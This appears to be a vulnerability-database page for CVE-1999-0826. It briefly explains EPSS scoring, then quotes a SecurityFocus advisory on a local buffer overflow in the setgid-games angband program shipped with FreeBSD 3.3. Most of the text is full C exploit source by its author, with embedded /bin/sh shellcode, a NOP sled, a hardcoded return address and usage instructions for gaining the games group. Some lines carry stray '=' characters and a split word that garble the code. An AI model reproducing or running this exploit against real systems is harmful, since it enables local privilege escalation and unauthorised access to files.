CVE-1999-0826 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/840/info The version angband shipped with FreeBSD 3.3-RELEASE is vulnerable to a local buffer overflow attack. Since it is setgid games, a compromise of files and directories owned by group games is possible. /* FreeBSD 3.3 angband exploit yields egid of group games * usage: gcc -o angames angames.c /path/to/angband `./angames <offset>` * overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage * Brock Tellier <[email protected]> */ #include <stdio.h> char shell[]= /* [email protected] */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; = = main (int argc, char *argv[] ) { int x = 0; int y = 0; int offset = 0; int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */ char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */ char arg[bsize + 2]; int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */ = if (argv[1]) { = offset = atoi(argv[1]); eip = eip + offset; } fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsiz= e); = for ( x = 0; x < 1021; x++) buf[x] = 0x90; fprintf(stderr, "NOPs to %d\n", x); = for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y]; fprintf(stderr, "Shellcode to %d\n",x); = buf[x++] = eip & 0x000000ff; buf[x++] = (eip & 0x0000ff00) >> 8; buf[x++] = (eip & 0x00ff0000) >> 16; buf[x++] = (eip & 0xff000000) >> 24; fprintf(stderr, "eip to %d\n",x); buf[x++] = 'X'; buf[x++] = 'X'; fprintf(stderr, "garbage to %d\n", x); buf[bsize - 1] = '\0'; sprintf(arg, "-u%s", buf); arg[bsize + 1] = '\0'; = printf("%s", arg); = }